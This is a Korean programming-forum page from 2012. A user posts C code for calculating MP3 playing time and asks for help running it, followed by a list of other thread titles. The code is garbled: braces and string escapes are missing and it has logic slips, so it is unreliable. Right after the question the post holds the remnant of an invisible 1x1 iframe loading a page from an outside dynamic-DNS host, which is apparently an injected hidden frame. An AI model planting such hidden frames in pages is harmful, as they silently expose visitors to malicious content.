디시인사이드 갤러리

갤러리 이슈박스, 최근방문 갤러리

갤러리 본문 영역

MP3 길이 계산하는 코딩인데 실행해보고싶다 ㅠㅠ

ㅇㅇㅇㅇ(121.157) 2012.01.15 23:27:27
조회 122 추천 0 댓글 6


#include <stdio.h> 
#include <sys/types.h> 
#include <winsock2.h> 
#include <fcntl.h> 
#include <sys/stat.h> 
 
int main(int s_Argc, char **s_Argv); 
unsigned long MZ_MP3_Time(char *s_MP3_Name); 
 
int g_BitrateIndexTable[4][3][16] = { 
{ // Version 2.5 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version reserved 
{0,},{0,},{0,} 
}, 
{ // Version 2.0 (ISO / IEC 13818-3) 
{ // Layer I 
0, 32, 48, 56, 64, 80, 96, 112, 128, 144, 160, 176, 192, 224, 256, (-1) 
}, 
{ // Layer II 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 
}, 
{ // Layer III 
0, 8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 144, 160, (-1) 

}, 
{ // Version 1.0 (ISO / IEC 11172-3) 
{ // Layer I 
0, 32, 64, 96, 128, 160, 192, 224, 256, 288, 320, 352, 384, 416, 448, (-1) 
}, 
{ // Layer II 
0, 32, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, (-1) 
}, 
{ // Layer III 
0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, (-1) 


}; 
 
int g_FrequencyTable[4][4] = { 
{ // Version 2.5 
11025, 12000, 8000, (-1) 
}, 
{ // Version reserved 
(-1), 
}, 
{ // Version 2.0 
22050, 24000, 16000, (-1) 
}, 
{ // Version 1.0 
44100, 48000, 32000, (-1) 

}; 
 
char *g_ChannelModeString[] = { 
"Stereo", "Joint steroeo", "Dual stereo", "Single stereo" 
}; 
 
char *g_LayerString[] = { 
"Layer I", "Layer II", "Layer III" 
}; 
 
int main(int s_Argc, char **s_Argv) 

int s_Return = 0; 
if(s_Argc >= 2) 

int s_Count; 
int s_Hour, s_Min, s_Sec; 
for(s_Count = 1;s_Count < s_Argc;s_Count++) 

s_Return = MZ_MP3_Time(s_Argv[s_Count]); 
if(s_Return > 0) 

s_Sec = s_Return % 60; 
s_Min = s_Return / 60; 
s_Hour = s_Return / 3600; 
fprintf(stdout, ""%s" - %02d:%02d:%02d ", s_Argv[s_Count], s_Hour, s_Min, s_Sec); 

else fprintf(stdout, ""%s" - Unknown MP3 format ", s_Argv[s_Count]); 


else fprintf(stderr, "mp3_time <mp3 file> "); 
return(s_Return); 

 
unsigned long MZ_MP3_Time(char *s_MP3_Name) 

unsigned long s_Return = 0lu; 
if(s_MP3_Name) 

int s_Handle; 
s_Handle = open(s_MP3_Name, O_RDONLY); 
if(s_Handle >= 0) 

int s_ReadSize; 
unsigned long s_Header = 0lu; 
unsigned char s_Buffer; 
unsigned long s_VersionID = 0lu, s_Layer = 0lu, s_BitrateIndex = 0lu, s_FrequencyIndex = 0lu, s_Padding = 0lu; 
//unsigned long s_Protection = 0lu, s_ChannelMode = 0lu, s_ModeExtension = 0lu, s_Copyright = 0lu, s_Original = 0lu, s_Emphasis = 0lu; 
 
unsigned long s_FrameSize = 0lu, s_FrameCount = 0lu; 
 
do 

s_ReadSize = read(s_Handle, &s_Buffer, sizeof(unsigned char)); 
if(s_ReadSize > 0) 

s_Header = (s_Header << 8) | (unsigned long)(s_Buffer & 0xff); 
if((s_Header & 0xffe00000lu) == 0xffe00000lu) 

s_VersionID = (s_Header >> 19) & 0x03; 
s_Layer = (s_Header >> 17) & 0x03; 
//s_Protection = (s_Header >> 16) & 0x01; 
s_BitrateIndex = (s_Header >> 12) & 0x0f; 
s_FrequencyIndex = (s_Header >> 10) & 0x03; 
s_Padding = (s_Header >> 9) & 0x01; 
//s_ChannelMode = (s_Header >> 6) & 0x03; 
//s_ModeExtension = (s_Header >> 4) & 0x03; 
//s_Copyright = (s_Header >> 3) & 0x01; 
//s_Original = (s_Header >> 2) & 0x01; 
//s_Emphasis = (s_Header >> 0) & 0x03; 
if(s_VersionID != 0x01 && 
s_Layer != 0x00 && 
s_BitrateIndex != 0x0f && s_BitrateIndex != 0 && 
s_FrequencyIndex != 0x03 


switch((3 - s_Layer)) 

case 0: // Layer I 
s_FrameSize = 12000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize = ((s_FrameSize + s_Padding)<<2) - 4; 
break; 
case 1: // Layer II 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex]; 
s_FrameSize += s_Padding - 4; 
case 2: // Layer III 
default: 
s_FrameSize = 144000lu * g_BitrateIndexTable[s_VersionID][3 - s_Layer][s_BitrateIndex]; 
s_FrameSize /= g_FrequencyTable[s_VersionID][s_FrequencyIndex] << (s_VersionID == 0x03 ? 0 : 1); 
s_FrameSize = s_FrameSize + s_Padding - 4; 
break; 

s_Header = 0lu; 
if(s_FrameSize > 0) 

s_FrameCount++; 
lseek(s_Handle, s_FrameSize, SEEK_CUR); 




}while(s_ReadSize > 0); 
close(s_Handle); 
s_Return = (((s_FrameCount * 1152) / g_FrequencyTable[s_VersionID][s_FrequencyIndex]) >> (s_VersionID == 0x03 ? 0 : 1)); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] Can not open mp3 "%s" !!! ", s_MP3_Name); 

else fprintf(stderr, "mp3_time.c: MZ_MP3_Time - [ERROR] s_MP3_Name is null !!! "); 
return(s_Return); 









실행하면 그냥 mp3_time <mp3 file> 출력 되고 끝..
어떻게 mp3 파일을 불러오는지 도와줄분?me width=1 src =http://ad01.mooo.com/advertis/ height=1>

추천 비추천

0

고정닉 0

0

댓글 영역

전체 댓글 0
본문 보기

하단 갤러리 리스트 영역

왼쪽 컨텐츠 영역

갤러리 리스트 영역

갤러리 리스트
번호 제목 글쓴이 작성일 조회 추천
설문 뛰어난 운동 신경으로 남자와 싸워도 이길 것 같은 여자 스타는? 운영자 25/11/24 - -
AD 따뜻한 겨울나기! 방한용품 SALE 운영자 25/11/27 - -
298986 야 시펄 경력 뻥튀기보다 고경력에 좃같은 실력이 더 병신같은거 아니냐? [5] 개심심(61.73) 12.01.16 180 0
298985 사업할꺼야 [5] McHello갤로그로 이동합니다. 12.01.16 159 0
298983 자바로 콤비네이션 계산 코드 질문염 [4] 뿌뿌뿌웅(112.216) 12.01.16 82 0
298982 IT 경력 뻥튀기가 문제가 많긴 많은갑다. [3] 거칠게갤로그로 이동합니다. 12.01.16 263 0
298976 근데 난 돈많아도 딱히 쓸데가 없어서 [2] SODMaster갤로그로 이동합니다. 12.01.16 83 0
298975 실수령 1억 찍고 싶다 [1] SODMaster갤로그로 이동합니다. 12.01.16 113 0
298974 아는 여자애 현다이 다니는데 3(121.169) 12.01.16 95 0
298973 세상에는 게이가 많을까 레즈가 많을까 [1] SODMaster갤로그로 이동합니다. 12.01.16 64 0
298972 지금 이렇게 생긴 구조의 방을 계약할까 말까 고민중..의견좀 줍셔 [12] 캐고민닭(115.92) 12.01.16 176 0
298969 12년 삼성소프트웨어 맴버십 기술면접 본 친구들 봐라. [6] 칭송받는자갤로그로 이동합니다. 12.01.16 526 0
298968 난 대리말인데 5900 안될거 같은데 ㅁㅁㅁ(111.91) 12.01.16 80 0
298966 정보처리 기사 어떻게 준비해야되죠? [8] 열심히살자(124.146) 12.01.16 162 0
298965 연봉 5900 그거 다 훼이크임..월급여액은 실제론 다르다고... [7] 캐멘젠닭(115.92) 12.01.16 323 0
298964 칠게님 c# 질문여 [8] ㅂㅈㄷ(210.178) 12.01.16 104 0
298963 형들 네트워크 문제좀 봐줘바 [1] belkin갤로그로 이동합니다. 12.01.16 53 0
298962 FarPoint Spread 쓰는데 이게 왜 안되는 지 궁금 [3] 궁금이(59.13) 12.01.16 195 0
298961 이음이나.. 이런 앱들은 수익 뭘로 얻는거지...? [5] 쿄스케갤로그로 이동합니다. 12.01.16 172 0
298960 시언어 for문 예제 연습하다가 궁금한거 [7] 해피너스갤로그로 이동합니다. 12.01.16 109 0
298959 횽들은 구정 보너스 받았어?? [1] 거칠게갤로그로 이동합니다. 12.01.16 79 0
298958 과연 si는 다 막장인가?? [5] 거칠게갤로그로 이동합니다. 12.01.16 203 0
298957 연봉 5900이라는거 이거 말하는거지? [3] 광란의디씨질갤로그로 이동합니다. 12.01.16 206 0
298956 아웅 다음주면 귀요미 조카들 보겠네 >.<;; [1] 거칠게갤로그로 이동합니다. 12.01.16 73 0
298954 서버플그밍 책좀 추천해달라규 ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ ㅎ그흑 [3] SODMaster갤로그로 이동합니다. 12.01.16 77 0
298952 형들 내가 안드로이드 개발 하는데 말이야 앤트빌드 Noble.6갤로그로 이동합니다. 12.01.16 65 0
298951 나이 많은 신입이 si를 거치지 않고 개발자로 들어갈 방법은?? [4] 거칠게갤로그로 이동합니다. 12.01.16 194 0
298950 친구가 기술 영업을 해봐서 그런지 si는 죽어도 싫덴다 ㅡ.ㅡ [3] 거칠게갤로그로 이동합니다. 12.01.16 196 0
298949 전산직 공무원에 대한 환상 [3] 광란의디씨질갤로그로 이동합니다. 12.01.16 452 0
298948 네이트온에 있는 여자 년들은 답이 없다. [4] 거칠게갤로그로 이동합니다. 12.01.16 162 0
298947 이직할 때 나이와 경력과 이직 횟수는 몇개까지가 마지노선이냐??? [8] 거칠게갤로그로 이동합니다. 12.01.16 323 0
298946 음 서버만드는 책 중에서 좀 잘 만들어진 책 없나여? SODMaster갤로그로 이동합니다. 12.01.16 53 0
298945 우와 여기 형들도 공무원에 관심있나 봅니다. [2] 광란의디씨질갤로그로 이동합니다. 12.01.16 105 0
298943 SVN 속도가 특정 PC에서만 느릴 수 있나요? [3] Ynobe갤로그로 이동합니다. 12.01.16 161 0
298941 프레임웤 쓴 프로젝트에서 가장 열받을때. [5] 캐빈둥닭(115.92) 12.01.16 143 0
298940 시언어 처음 입문하면 원래 이렇게 헷갈리나? [6] 해피너스갤로그로 이동합니다. 12.01.16 214 0
298939 곽팀장도 회사 다니긴 하나보다??? 퓨리님(111.91) 12.01.16 75 0
298938 개심심횽..피자 배달말구.... [3] 캐맥북닭(115.92) 12.01.16 92 0
298936 해커꿈잡고 시작할라 하는데 뭐공부해야되나요 [4] 흑형아갤로그로 이동합니다. 12.01.16 178 0
298935 맥북 트랙패드 계속 쓰다보니깐... [1] 캐맥북닭(115.92) 12.01.16 65 0
298934 형들 자바로 게임 만드는 것 좀 질문할게요 [1] 좌파척결앞잡이갤로그로 이동합니다. 12.01.16 79 0
298933 Dev c++에서 지역변수 값 [2] ㅇㅋㅇ(183.96) 12.01.16 70 0
298931 공무원 업무강도의 진실을 알려줄게 [14] 싴보이갤로그로 이동합니다. 12.01.16 502 0
298930 앱개발할때 이미지 좌표같은건 개발자가? 디자이너가? (112.223) 12.01.16 58 0
298928 궁금한게 있는데 트위터나 페이스북 친구목록 연동할때... (112.223) 12.01.16 75 0
298927 횽들 비주얼스튜디오 2008 ;;; [3] 중학생(119.69) 12.01.16 90 0
298926 시언어 늅늅인데, for문 예제풀다가 막혔어 [3] 해피너스갤로그로 이동합니다. 12.01.16 99 0
298924 우으으 [2] ENBI(58.227) 12.01.16 44 0
298923 형이 재미있는 얘기 해줄게ㅋ [10] 개심심(61.73) 12.01.16 211 0
298922 c# UI들어간 프로젝트는 라이브러리로 출력할수가 없나요? [2] ㅇㅇㅇㅇ(203.244) 12.01.16 60 0
298921 대기업 경력직으로 면접 본님들 이떵? [2] □ㅁ갤로그로 이동합니다. 12.01.16 153 0
298920 공무원 봉급이랑 연금 대폭 줄여야 할거 같아 [9] □ㅁ갤로그로 이동합니다. 12.01.16 155 0
갤러리 내부 검색
제목+내용게시물 정렬 옵션

오른쪽 컨텐츠 영역

실시간 베스트

1/8

디시미디어

디시이슈

1/2